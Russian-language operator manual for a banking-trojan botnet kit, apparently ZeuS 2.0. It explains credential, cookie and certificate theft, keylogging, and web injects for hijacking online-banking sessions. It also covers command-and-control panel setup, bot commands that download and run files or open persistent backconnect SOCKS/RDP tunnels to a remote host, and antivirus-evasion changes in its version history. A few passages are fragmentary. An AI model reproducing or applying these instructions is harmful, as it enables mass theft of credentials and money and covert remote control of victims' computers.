Логинов из FTP-клиентов: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.
«Кукисов» Adobe (Macromedia) Flash Player.
«Кукисов» wininet.dll, Mozilla Firefox.
Импорт сертификатов из хранилища сертификатов Windows. И слежение за их дальнейшим добавлением.
Слежение за нажатием клавиш клавиатуры.
Сниффер трафика для протокола TCP в Windows Socket.
Перехват FTP-логинов на любом порту.
Перехват POP3-логинов на любом порту.
Прочее:
Исполнение скриптов (команд), созданных в панели управления.
Разделение ботнета на сабботнеты (по имени).
Описание: Панель управления
Язык программирования:
PHP, с использованием расширений mbstring, mysql.
Отображаемая статистика:
Количество зараженных компьютеров.
Текущее количество ботов в онлайне.
Количество новых ботов.
Суточная активность ботов.
Статистика по странам.
Статистика по ОС.
Работа со списком ботов:
Фильтрация списка по странам, ботнетам, IP-адресам, NAT-статусу, и т.д.
Отображение скриншотов рабочего стола в реальном времени (только для ботов вне NAT).
Массовая проверка состояния Socks-серверов.
Вывод полной информации о ботах. Из наиболее важных сюда входят:
Версия Windows, язык пользователя и часовая зона.
Страна и IP-адреса компьютера (не относящиеся к локальным).
Скорость подключения к Интернету (измеряется путем вычисления времени загрузки предопределенного HTTP-ресурса).
Время первой и последней связи с сервером.
Время в онлайне.
Возможность установки комментария для каждого бота.
Скрипты (команды):
Вы можете управляет ботами путем составления для них скриптов. В настоящее время синтаксис, и возможности скриптов очень примитивны.
Работа с отчетами (логами) и файлами ботов:
Файлы (например скриншоты, кукисы Flash Player) полученные от ботов всегда пишутся в файлы на сервере, Вы получаете возможности искать файлы с фильтром: по имени ботов, ботнету, содержимому и имени файла.
Отчеты могут писаться как в файлы (%botnet%/%bot_id%/reports.txt), так и в базу данных. В первом случаи поиск по отчетам осуществляется точно также, как и по файлам. Во втором же случаи, Вы получаете возможность более гибкой фильтрации, и просмотра отчетов из Панели управления.
Получение уведомлений в IM (Jabber):
Вы можете получать уведомления из Панели управления в Jabber-аккаунт.
В данный момент существует возможность получения уведомлений о заходе пользователя на определенные HTTP/HTTPS-ресурсы. Например, это используется для перехвата сессии пользователя в онлайн-банке.
Прочее:
Создание пользователей Панели управления с определенными правами доступа.
Вывод информации о ПО сервера.
Автоматическое восстановление поврежденных таблиц MyISAM.
Файл конфигурации: HTTP-инжекты/HTTP-грабберы.
Для удобства написания, HTTP-инжекты/HTTP-грабберы записываются в отдельный файл, указанный в файле конфигурации как «DynamicConfig.file_webinjects». Естественно, после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.
Файл представляет из себя список URL’ов, для которых можно указать неограниченное количество либо вносимых в них изменений, либо получаемых из них данных. Текущий URL указывается следующей строкой:
L — если этот сивол указан, то запуск происходит как HTTP-граббера, если не указан, то как HTTP-инжекта.
D — блокирует запуск более одного раза в 24 часа. Этот символ требует обязательного наличия параметра url_block.
F — дополняет символ «L», позволяет записывать результат не в виде обычного отчета, а в виде отдельного файла «grabbed%host%_%year%_%month%_%day%.txt».
H — дополняет символ «L», сохраняет содержимое без вырезания HTML-тегов. В обычном же режиме, все HTML-теги удаляются, а некоторые преобразуются в символ «новая строка» или «пробел».
I — сравнивать параметр url без учета регистра (только для англ. алфавита).
C — сравнивать конекст без учета регистра (только для англ. алфавита).
postdata_blacklist
Полное (от начала до конца) содержимое POST-данных, при котором не должен происходить запуск. Допускается использование масок (символы * и ?).
Параметр является необязательным.
postdata_whitelist
Полное (от начала до конца) содержимое POST-данных, при котором должен происходить запуск. Допускается использование масок (символы * и ?).
Параметр является необязательным.
url_block
При отсутствии символа «D» в параметре options:Если запуск должен происходить только один раз, то здесь следует указать URL, в случаи обращения к которому, дальнеший запуск будет заблокирован. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Если после блокировки, понадобится повторный запуск, то блокировку можно снять через команду «bot_httpinject_enable» с параметром, например, равному параметру url. При наличии символа «D» в параметре options:Необходимо указать URL, при обращении к которому, запуск будет заблокирован на 24-е часа. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Эту блокировку нельзя снять через через команду «bot_httpinject_enable».
Параметр является необязательным при отсутствии символа «D» в параметре options.
matched_context
Подсодержимое (подстрока) содеримого URL, при котором должен происходить запуск. Допускается использование масок (символы * и ?).
Параметр является необязательным.
Со следующей строки начинается список изменений вносимых, в содержимое URL, а при наличии символа «L» в параметре options — список данных, получаемых из содержимое URL. Это список длится до тех пор, пока не достигнут конец файла, или не задан новый URL.
Единица списка состоит из трех элементов в произвольном порядке:
data_before
При отсутвие символа «L» в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно внести новые данные. При наличии символа «L» в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно начать получить данные для отчета.
Допускается использование масок (символы * и ?).
data_after
При отсутвие символа «L» в параметре options:Подсодержиоме в соедржимом URL, передкоторым нужно закончить новые данные. При наличии символа «L» в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.
Допускается использование масок (символы * и ?).
data_inject
При отсутвие символа «L» в параметре options:Новые данные, который будут внесены между данными найденысмм по data_before и data_after. При наличии символа «L» в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.
Примеры:
user_homepage_set http://www.google.com/
Принудительная установка домашней страницы «http://www.google.com/».
user_homepage_set
Принудительная установка домашней страницы будет отключена.
ЛИМИТЫ ЛОГИКА ПРИ НЕЗАПОЛЕННЫХ before или after
Панель управления: Настройка сервера
Сервер является центральной точкой управления ботнетом, он занимается сборкой отчетов ботов, и отдачей команд ботам. Крайне не рекомендуется использовать «Виртуальный Хостинг» или «VDS», т.к. при увеличение ботнета, нагрузка на сервер будет увеличиваться, и такой вид хостинга довольно быстро исчерпает свои ресурсы. Вам нужен «Выделенный сервер» (Дедик), рекомендуемая минимальная конфигурация:
2Гб ОЗУ.
2x процессор частотой 2Ггц.
Отдельный винчестер для базы данных.
Для работы бота необходим HTTP-сервер с подключенным PHP + Zend Optimizer, и MySQL-сервер. ВНИМАНИЕ: Для Windows-серверов очень важно изменить (создать) следующее значение реестра: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersMaxUserPort=dword:65534 (десятичное).
HTTP-сервер:
В качестве HTTP-сервера рекомендуется использовать: для nix-систем — Apache от версии 2.2, для Windows-серверов — IIS от версии 6.0. Рекомендуется держать HTTP-сервер на 80 или 443 портах (это положительно влияет на отстук бота, поскольку провайдеры/прокси могут блокировать доступ на иные, нестандартные порты).
Загрузить Apache: http://apache.org/dyn/closer.cgi. Сайт IIS: http://www.iis.net/.
Интерпретатор PHP:
Последняя версия панели управления разрабатывалась на PHP 5.2.6. Поэтому крайне рекомендуется использовать версию, не ниже этой версии.
Важно произвести следующие настройки в php.ini:
safe_mode = Off
magic_quotes_gpc = Off
magic_quotes_runtime = Off
memory_limit = 256M ;Или выше.
post_max_size = 100M ;Или выше.
а также рекомендуется изменить следующие настройки:
MySQL-сервер:
MySQL требуется для хранения всех данных об ботнете. Рекомендуемая версия не ниже 5.1.30, так же стоит учесть, что при работе панели управления в более старых версиях были обнаружены некоторые проблемы. Все таблицы панели управления идут в формате MyISAM, важно правильно оптимизировать быстродействие работы с этим форматом, исходя из доступных ресурсов сервера.
Рекомендуется внести следующие изменения в настройки MySQL-сервера (my или my.ini):
файлы темы (дизайн), без зенда, могут свободно изменяться
cp.php
вход в панель управления
gate.php
гэйт для ботов
index.php
пустой файл для предотвращения листинга файлов
Панель управления обычно расположена в вашем дистрибутиве в папке server[php]. Все содержимое этой папки необходимо загрузить на сервер в любую папку доступную по HTTP. Если Вы загружаете ее через FTP, то все файлы нужно загрузить в БИНАРНОМ режиме.
Для nix-систем выставите права:
/.
777
/system
777
/tmp
777
Для Windows-систем выставите права:
system
права на полные права на запись, чтение для пользователя из под которого происходит доступ через HTTP. Для IIS это обычно IUSR_*
tmp
также как и для system
После того как все файлы загружены и для них выставлены права, необходимо через браузер запустить инсталлятор по URL http://сервер/папка/install/index.php. Следуйте появившимся инструкциям, в случаи возникновения ошибок (Вы будете подробно уведомлены) в процесс установки, проверти правильность введенных данных, и правильность установки прав на папки.
После установки, рекомендуется удалить директорию install, и переименовать файлы cp.php (вход в панель управления) и gate.php (гэйт для ботов) в любые файлы по вашему желанию (расширение менять нельзя).
Теперь Вы можете благополучно входить в панель управления, введя в браузере URL переименованного файла cp.php.
Панель управления: Обновление
Если Вы обладаете более новой копией панели управления, и желаете обновить старую версию, то необходимо сделать следующие:
Скопировать файлы новой панели управления на место старых.
Переименовать файлы cp.php и gate.php согласно их реальным именам выбранным вами при установке старой панели управления.
На всякой случай, повторно выставить права на директории согласно этому разделу.
Через браузер запустить инсталлятор по URL http://сервер/директория/install/index.php, и следовать появившимся инструкциям. Процесс работы инсталлятора может занять достаточно большой промежуток времени, это связано с тем, что некоторые таблицы с отчетами могут пересоздаваться.
Можно пользоваться новой панелью управления.
Панель управления: Файл /system/fsarc.php.
Данный файл содержит в себе функцию для вызова внешнего архиватора. В данный момент архиватор используется только в модуле «Отчеты::Поиск в файлах» (reports_files), и вызывается для загрузки файлов и папок в виде одного архива. По умолчанию функция настроена на архиватор Zip, и является универсальной для Windows и nix, поэтому все что вам нужно сделать, это установить в систему этот архиватор, и дать права на его исполнение. Вы также можете отредактировать этот файл для работы с любым архиватором.
Панель управления: Команды, используемые в скриптах
os_shutdown
Выключение компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.
os_reboot
Перезагрузка компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.
bot_uninstall
Полное удаление бота из текщего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.
URL, с которого необходимо загрузить файл конфигурации. В случаи успешной загрузки конфигурации, из нее будет принудительно загружен и запущен файл (с параметром «-f»), указный в «DynamicConfig.url_loader».
Если же, это параметр не указан или является пустым, то произойдет загрузка файла конфигурации в обычном режиме (т.е. как будь-то пришло время по «StaticConfig.timer_config»), со всеми вытекающими последствиями.
bot_bc_add [service] [backconnect_server] [backconnect_server_port]
Добавление постоянной (сессия будет восстановлена даже после перезагрузки компьютера) бэкконект-сессии. Данная команда доступна не во всех сборках ПО. Параметры:
service
Номер порта или текстовое имя сервиса, для которого создается сессия.
backconnect_server
Хост, на котором запущен бэкконект-сервер.
backconnect_server_port
Номер порта на хосте [backconnect_server].
Примеры:
bot_bc_add socks 192.168.100.1 4500
Вы получаете доступ к Socks-серверу.
bot_bc_add 3389 192.168.100.1 4500
Вы получаете доступ к RDP.
bot_bc_remove [service] [backconnect_server] [backconnect_server_port]
Завершение постоянных бэкконект-сессий. Данная команда доступна не во всех сборках ПО. Параметры:
service
Номер порта или текстовое имя сервиса, для которого удаляется сессия. Допускается использование масок (символы * и ?), для удаления группы сессий.
backconnect_server
Хост, на котором запущен бэкконект-сервер. Допускается использование масок (символы * и ?), для удаления группы сессий.
backconnect_server_port
Номер порта на хосте [backconnect_server]. Допускается использование масок (символы * и ?), для удаления группы сессий.
Примеры:
bot_bc_remove socks * *
Удаляются все сессий связанные с сервисом socks.
bot_bc_remove * * *
Удаляются все существующие сессий.
bot_httpinject_disable [url_1] [url_2] … [url_X]
Блокировка исполнения HTTP-инжектов на определенных URL для текущего пользователя. Вызов этой команды не обнуляет существующий список блокировки, а дополняет его. Параметры:
url_1, ulr_2, …
URL’ы, на которых необходимо заблокировать исполнение HTTP-инжектов. Допускается использование масок (символы * и #).
Примеры:
bot_httpinject_disable http://www.google.com/*
Блокировка исполнения HTTP-инжектов для http://www.google.com/.
bot_httpinject_disable *
Блокировка исполнения HTTP-инжектов для любого URL.
bot_httpinject_disable *.html *.gif
Блокировка исполнения HTTP-инжектов для файлов с расширением html и gif.
bot_httpinject_enable [url_1] [url_2] … [url_X]
Снятие блокировки исполнения HTTP-инжектов на определенных URL для текущего пользователя. Параметры:
url_1, ulr_2, …
Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL.
Примеры:
bot_httpinject_enable *.google.*
Удалить блокировку исполнения HTTP-инжектов по любому URL из списка заблокированных, которые содержат в себе «.google.».
bot_httpinject_enable *
Полностью очистит список блокировок исполнения HTTP-инжектов.
bot_httpinject_enable *.html https://*
Удалить блокировку исполнения HTTP-инжектов со всех html-файлов, и на все HTTPS-ресурсы.
user_logoff
Завершение сеанса (logoff) текущего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.
user_execute [path] [parameters]
Запуск процесса от имени текущего пользователя. Запуск процесса происходит через ShellExecuteW(,NULL,,,,), если запуск не удался, то процесс создается через CreateProcessW. Параметры:
path
Локальный путь или URL. Может быть указан как исполняемый файл (exe), так и любой другой (doc, txt, bmp, и т.д.). Для успешного запуска не исполняемого файла (не exe), с ним должна быть ассоциирована какая-либо программа.
Если параметр является локальным путем, то происходит обычное создание процесса. Разрешается использовать «переменные окружения».
Если параметр является URL, то происходит загрузка этого URL в файл «%TEMP%random_namefile_name», где random_name — произвольное имя папки, а file_name — имя ресурса из последней части URL-пути(если URL-путь кончается на слэш, то произодйет ошибка). В настоящее время разрешается использовать только HTTP и HTTPS протоколы, также рекомендуется указывать URL-путь в URL-кодировке (актуально для не английских символов, подробности в RFC 1630 и 1738).
parameters
Произвольные параметры передаваемые процессу (не обрабатываются ботом). Являются не обязательными.
Загрузка файла в «%TEMP%random_namekiller.exe», и его запуск с параметрами «/KILALL /RESTART».
user_execute «%ProgramFiles%Windows Media Playerwmplayer.exe»
Запуск медиа-плеера.
user_execute «%ProgramFiles%Windows Media Playerwmplayer.exe» «analporno.wmv»
Запуск медиа-плеера с параметром «analporno.wmv».
user_cookies_get
Получение кукисов всех известных браузеров.
user_cookies_remove
Удаление всех кукисов из всех известных браузеров.
user_certs_get
Получение всех экспортируемых сертификатов из хранилища сертификатов «MY» текущего пользователя. Сертификаты будут загружены на сервер в виде pfx-файла с паролем «pass».
user_url_block [url_1] [url_2] … [url_X]
Блокировка доступа к URL в известных библиотеках (браузеров) для текущего пользователя. Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.
При попытке доступа к заблокированным URL, бот устанавливает следующие коды ошибок:
wininet.dll — ERROR_HTTP_INVALID_SERVER_RESPONSE
nspr4.dll — PR_CONNECT_REFUSED_ERROR
Параметры:
url_1, ulr_2, …
URL’ы, к котором необходимо заблокировать доступ. Допускается использование масок (символы * и #).
Примеры:
user_url_block http://www.google.com/*
Блокировка доступа к любому URL на http://www.google.com/.
user_url_block *
Полная блокировка доступа к любому ресурсу.
user_url_block http://*.ru/*.html https://*.ru/*
Блокировка доступа к любому html-файлу в зоне ru, и блокировка доступа к HTTPS-ресурсам в зоне ru.
user_url_unblock [url_1] [url_2] … [url_X]
Снятие блокировки доступа к URL в известных библиотеках (браузеров) для текущего пользователя. Параметры:
url_1, ulr_2, …
Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL.
Примеры:
user_url_unblock *.google.*
Удалить блокировку по любому URL из списка заблокированных, которые содержат в себе «.google.».
user_url_unblock *
Полностью очистит список блокировок URL.
user_url_unblock *.html https://*
Удалить блокировку со всех html-файлов, и блокировку на все HTTPS-ресурсы.
user_homepage_set [url]
Принудительное изменение домашней страницы для всех известных браузеров текущего пользователя. Даже если пользователь попытается изменить страницу, она будет автоматически восстановлена на страницу, указанную этой командой. Параметры:
url
URL, которая будет установлена в качестве домашней страницы.
Если же, это параметр не указан или является пустым, то произойдет отключение принудительной установки домашней страницы, но при этом, не произойдет восстановление оригинальной страницы, указанной пользователем. Т.е. бот более не будет препятствовать изменению домашней страницы.
Примеры:
user_homepage_set http://www.google.com/
Принудительная установка домашней страницы «http://www.google.com/».
user_homepage_set
Принудительная установка домашней страницы будет отключена.
user_ftpclients_get
Получение списка всех FTP-логинов из всех известных FTP-клиентов. Данная команда доступна не во всех сборках ПО.
user_flashplayer_get
Создание архива «flashplayer.cab» из кукисов (*.sol) Adobe Flash Player (%APPDATA%MacromediaFlash Player) текущего пользователя, и его отправка на сервер.
user_flashplayer_remove
Удаление всех кукисов (*.sol) Adobe Flash Player (%APPDATA%MacromediaFlash Player) текущего пользователя.
Работа с Backсonnect-сервером
Работа с BackConnect рассматривается в виде примера.
IP-адрес Backconnect-сервера: 192.168.100.1.
Порт для бота: 4500.
Порт для клиентского приложения: 1080.
Сервис бота: socks.
Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP-адрес в интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500, где 1080 — клиентский порт, 4500 — порт для бота.
Необходимому боту отправляется команда «bot_bc_add socks 192.168.100.1 4500″.
Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком подключения бота, будет вывод в консоль сервера строки «Accepted new conection from bot…».
После подключения бота, Вы можете работать со своим клиентским приложением. Т.е. Вы просто подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если Вы отдали команду socks, то на клиентском порту вас будет ожидать Socks-сервер.
После того, когда вам не нужен Backconnect от бота для определенного сервиса, необходимо отдать команду «bot_bc_remove socks 192.168.100.1 4500″.
ПРИМЕЧАНИЯ:
Вы можете указывать сколько угодно Backconnect’ов (т.е. bot_bc_add), но у них не должна быть общая комбинация IP + Port. Но в случаи наличия такой комбинации, будет запускаться первая добавленная.
Для каждого Backconnect’а, Вы должны запускать отдельное серверное приложение.
В случаи разрыва соединения (падения сервера, падение бота и т.д.), бот будет повторят подключение к серверу бесконечно (даже после перезагрузки PC), до тех пор пока Backconnect не будет удален (т.е. bot_bc_remove).
В качестве service для bot_bc_add, может быть использован любой порт открытый по адресу 127.0.0.1.
Серверное приложение поддерживает IPv6, но в настоящее время эта поддержка не особо актуальна.
Возможен запуск серверного приложения под wine. Написание же elf приложения в настоящее время не планируется.
Крайне рекомендуется использовать в опции bp серверного приложения популярные порты (80, 8080, 443 и т.д.), т.к. иные порты могут быть заблокированы провайдером которому принадлежит бот.
Нельзя позволят подключатся разным ботам на один и тот же серверный порт одновременно.
Метод такого подключения может пригодиться и для ботов, которые находятся вне NAT, т.к. иногда фаерволами Windows или провайдерами, могут быть заблокированы подключения из интернета.
F.A.Q.
Что значат цифры в версии?
Формат версии a.b.c.d, где:
a — полное изменение в устройстве бота.
b — крупные изменения, которые вызывают полную или частичную несовместимость с предыдущими версиями.
c — исправления ошибок, доработки, добавление возможностей.
d — номер чистки от антивирусов для текущей версии a.b.c.
Каким образом генерируется Bot ID?
Bot ID состоит из двух частей: %name%_%number%, где name — имя компьютера (результат от GetComputerNameW), а number — некое число, генерируемое на основе некоторых уникальных данных ОС.
Почему трафик шифруется симметричным методом шифрования (RC4), а не асимметричным (RSA)?
Потому что, в использовании сложных алгоритмов нет смысла, шифрование нужно только для скрытия трафика. Плюс в RSA только в том, что не зная ключа находящегося в Панели управления, не будет возможности эмулировать ее ответы. А какой смысл защищаться от этого?
История версий
Версия 2.0.0.0, 01.04.2010
Полная несовместимость с предыдущими версиями.
Поскольку ядро бота нацелено на Windows Vista+, и в боте не когда не будут использоваться сплойты повышения привилегий и т.д., бот работает в пределах одного пользователя. Но элементарные попытки заразить прочих пользователей Windows совершаются (обычно эффективно в случаях отключения UAC, или запуска из-под LocalSystem).
Произвольные имена файлов, мютексов и т.д.
Полностью переписано ядро бота, от процесса установки в систему до отправки отчетов в панель управления.
При инсталляции, бот перекриптовывает свое тело, таким образом сохраняется уникальная копия exe-файла на каждом компьютере.
Привязка бота к компьютеру, путем модификации/удаления некоторых данные в exe-файле.
Полноценная работа с x32 приложениями в Windows x64.
Удаление исходного файла бота, после исполнения вне зависимости от результата исполнения.
Полноценная работа в параллельных сессиях «Terminal Services».
При запуске из под пользователя LocalSystem, происходит попытка заражения все пользователей системы.
Убрана опция «StaticConfig.blacklist_languages».
Имя ботнета ограничено 20 символами, и может содержать любые интернациональные символы.
Файл конфигурации читается в UTF-8-кодировке.
Убрана опция «StaticConfig.url_compip».
Новый способ определения NAT.
Нельзя обновить новую версию бота на старую.
При обновлении бота, происходит полное обновление немедленно, не дожидаясь перезагрузки.
В данный момент, из-за некоторых соображений, скрытие файлов бота не будет производиться вообще.
Убран граббер «Protected Storage», поскольку начиная с IE7, он более не используется.
С связи с ненадежностью старой системы подсчета «Инсталлов», бот имеет автоматически имеет «Инсталл» при добавлении в базу.
Новый способ получение кукисов IE.
Улучшен протокол бэк-коннекта.
Поскольку «лайт-режим» билдера создан для тестирования и отладки HTTP-инжектов и HTTP-фейков, он имеет ряд ограничений по сборке файла конфигурации.
Усложнена обнаружение трафика бота.
Полноценная (как с wininet.dll) работа с nspr4.dll, но пока без HTTP-фейков.
Версия 2.0.1.0, 28.04.2010
Теперь используется сторонний криптор, с связи с этим отменены некоторые особенности предыдущей версии:
Изменен способ привязки к пользователю/ОС.
Бот более не способен перекриптовывать себя при установке.
Мелкие доработки для HTTP-инжектов.
Версия 2.0.2.0, 10.05.2010
Принудительное изменение настроек безопасности Mozilla Firefox для нормальной работы HTTP-инжектов.
Команда «user_homepage_set» применяет домашнею страницу принудительно для IE и Firefox (т.е страница будет восстановлена даже, если пользователь внесет изменения) до тех пор, пока не произойдет отмена команды.
Версия 2.0.3.0, 19.05.2010
С связи с тем, что HTTP-инжекты в основном пишут люди мало понимающие в HTTP, HTML и т.д., убрано предупреждение «*NO MATCHES FOUND FOR CURRENT MASK*». Т.к. из-за злоупотребления знака «*» в масках URL, данное предупреждение появляется очень часто.
Версия 2.0.4.0, 31.05.2010
В панели управления исправлена ошибка в модуле «Botnet->Bots», не позволяющая производить поиск по IP.
В файл конфигурации добавлена опция «StaticConfig.remove_certs», для отключения автоматического удаления сертификатов из хранилища пользователя при установке бота.
В файл конфигурации добавлена опция «StaticConfig.disable_tcpserver», которая позволяет отключить TCP-сервер (ОТКЛЮЧЕНИЕ: сокс-сервер, скриншоты в реальном времени). Данная опция введена для предотвращения появления предупреждений от «Window Firewall».
Сграбленные сертификаты сохраняются на сервере с указанием пользователя, из которого они получены.
Версия 2.0.5.0, 08.06.2010
Для скриптов подключены команды «bot_httpinject_enable» и «bot_httpinject_disable».
Исправлены мелкие ошибки в HTTP-граббере.
Версия 2.0.6.0, 22.06.2010
В nspr4.dll, при специфическом форматировании HTTP-ответа от сервера, этот ответ не анализировался верно (что приводило, например, к отключению HTTP-инжектов).
Версия 2.0.7.0, 15.07.2010
Отключено встроенное криптование бота.
Версия 2.0.8.0, 17.08.2010
К параметрам HTTP-инжекта добавлены новые опции «I» (сравнение URL без учета регистра) и «C» (сравнение контекста без учета регистра).
